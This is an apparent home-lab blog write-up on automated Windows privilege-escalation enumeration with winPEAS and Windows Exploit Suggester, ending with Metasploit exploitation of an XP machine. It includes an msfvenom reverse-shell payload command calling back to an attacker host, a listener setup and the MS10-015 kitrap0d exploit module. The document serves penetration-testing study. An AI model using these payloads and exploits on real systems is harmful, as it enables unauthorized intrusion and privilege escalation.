# Offensive Windows ~ Automated Tools

![Offensive Windows ~ Automated Tools](https://cdn.hashnode.com/res/hashnode/image/upload/v1680985204910/8cda2a9c-0aba-4741-a077-1a24e764ae6d.jpeg)

In this 2nd part, I'll be exploring automated tools and techniques that I could use to discover vulnerabilities on a windows machine that I have a foothold on. The main focus throughout this writeup would be placed on discovering the vulnerability and not exploiting it. Thus, Ill be making use of _Metasploit_ to exploit the found vulnerability.

I will be targeting 2 windows based machines in my home lab and successfully exploiting one of them.

*   Microsoft Windows 10 Professional \[build 19042\]
*   Microsoft Windows XP Professional \[Build 2600\] ahem vuln ahem

* * *

Winpeas
-------

The first tool that I'll be taking a look at is called `Winpeas`. This is a very popular post exploitation tool that's out right now. I use the Linux version heavily but this is my first time experimenting with the windows version. Soon I realized that this tool helped automate everything I covered in the [Manual Enumeration](https://4pfsec.com/windows-manual-enumerattion/) post.

    PS C:\Users\Neeranjan\Desktop> ./winPEASx64.exe

![Offensive Windows ~ Automated Tools](https://cdn.hashnode.com/res/hashnode/image/upload/v1680985205990/a5aa0e48-3788-4a37-9836-45db69f2fa1b.png)

### System Information

![Offensive Windows ~ Automated Tools](https://cdn.hashnode.com/res/hashnode/image/upload/v1680985207134/71124fc5-999d-4205-bc72-6eb242db96c3.png)

### Miscellaneous System Information

![Offensive Windows ~ Automated Tools](https://cdn.hashnode.com/res/hashnode/image/upload/v1680985208248/33204151-8acf-478e-96f5-3d172a480f9f.png)

### Network Information

![Offensive Windows ~ Automated Tools](https://cdn.hashnode.com/res/hashnode/image/upload/v1680985209748/ace9855b-6e6f-414e-b533-fec89c15229f.png)

### Firewall Information

![Offensive Windows ~ Automated Tools](https://cdn.hashnode.com/res/hashnode/image/upload/v1680985210848/86afa770-4f99-4d44-99ba-8eb9354e7986.png)

### Patch Management

![Offensive Windows ~ Automated Tools](https://cdn.hashnode.com/res/hashnode/image/upload/v1680985212008/050a2c9b-a7e6-4404-b02b-f44a3351e3f6.png)

### Environment Variables

![Offensive Windows ~ Automated Tools](https://cdn.hashnode.com/res/hashnode/image/upload/v1680985214818/338c109a-26c4-412f-b62b-8201d89b599d.png)

* * *

Windows Exploit Suggester
-------------------------

The next tool that I'm gona take a look at is called [`Windows Exploit Suggester`](https://github.com/AonCyberLabs/Windows-Exploit-Suggester) by [AonCyberLabs](https://github.com/AonCyberLabs). This was a tool I recently discovered and have been wanting to test it out ever since. It basically uses a dump of the `systeminfo` command and an updated exploit database to search for exploits that the machine may be susceptible to.

### Pre requisites  

![Offensive Windows ~ Automated Tools](https://cdn.hashnode.com/res/hashnode/image/upload/v1680985216630/528d9974-247d-4a15-9e9b-3a19a62268c8.png)

### Updating Exploit DB

    ┌──(root💀nee)-[~/oscp/others/windowsPe]
    └─# ./windows-exploit-suggester.py --update

![Offensive Windows ~ Automated Tools](https://cdn.hashnode.com/res/hashnode/image/upload/v1680985218501/aebb5e64-b25f-41a0-af44-486228ce9286.png)

### Suggesting Exploit

**Windows 10 Professional**

    ┌──(root💀nee)-[~/oscp/others/windowsPe]
    └─# ./windows-exploit-suggester.py --database 2021-03-28-mssb.xls --systeminfo systeminfo.txt

![Offensive Windows ~ Automated Tools](https://cdn.hashnode.com/res/hashnode/image/upload/v1680985219802/3875170d-a886-4523-b7b4-ba9448acfebd.png)

**Windows XP Professional**

    ┌──(root💀nee)-[~/oscp/others/windowsPe]
    └─# ./windows-exploit-suggester.py --database 2021-03-28-mssb.xls --systeminfo systeminfoxp.txt

![Offensive Windows ~ Automated Tools](https://cdn.hashnode.com/res/hashnode/image/upload/v1680985221953/3e01c172-30a6-4a5f-a36a-ceff92a4d2af.png)

    [M] MS10-015: Vulnerabilities in Windows Kernel Could Allow Elevation of Privilege (977165) - Important

From the output I identified `MS10-015` as one of the vulnerabilities that I could exploit.

### Exploitation

**Payload Generation**

    ┌──(root💀nee)-[~/oscp/others/windowsPe]
    └─# msfvenom -p windows/shell/reverse_tcp LHOST=192.168.136.128  LPORT=4444 -f exe > shell.exe

![Offensive Windows ~ Automated Tools](https://cdn.hashnode.com/res/hashnode/image/upload/v1680985223859/4b5dba09-1d84-4442-9f22-168edcea8e87.png)

**Listener**

    msf6 > use exploit/multi/handler
    [*] Using configured payload generic/shell_reverse_tcp
    msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
    payload => windows/meterpreter/reverse_tcp
    msf6 exploit(multi/handler) > set lhost eth0
    lhost => eth0
    msf6 exploit(multi/handler) > set lport 4444
    lport => 4444
    msf6 exploit(multi/handler) > run

![Offensive Windows ~ Automated Tools](https://cdn.hashnode.com/res/hashnode/image/upload/v1680985224984/38417410-e7a0-471a-a1f5-9b7f40096dd1.png)

![Offensive Windows ~ Automated Tools](https://cdn.hashnode.com/res/hashnode/image/upload/v1680985226720/7f91d9ad-21e3-4f23-ae52-588c056112d9.png)

**Privilege Escalation**

    meterpreter > background
    [*] Backgrounding session 2...
    msf6 exploit(multi/handler) > use exploit/windows/local/ms10_015_kitrap0d
    [*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
    msf6 exploit(windows/local/ms10_015_kitrap0d) > set payload windows/meterpreter/reverse_tcp
    payload => windows/meterpreter/reverse_tcp
    msf6 exploit(windows/local/ms10_015_kitrap0d) > set lhost eth0
    lhost => eth0
    msf6 exploit(windows/local/ms10_015_kitrap0d) > set session 2
    session => 2
    msf6 exploit(windows/local/ms10_015_kitrap0d) > exploit

![Offensive Windows ~ Automated Tools](https://cdn.hashnode.com/res/hashnode/image/upload/v1680985227904/23d076eb-6abf-44f1-aab2-7c3fcdfd978a.png)

![Offensive Windows ~ Automated Tools](https://cdn.hashnode.com/res/hashnode/image/upload/v1680985229004/4990381d-2f09-446e-88d6-59304893c59a.png)

* * *

Awesome tools! Both of em'! Helps automate most of the time consuming work. Will definitely be using these more often! not metasploit tho

~Nee.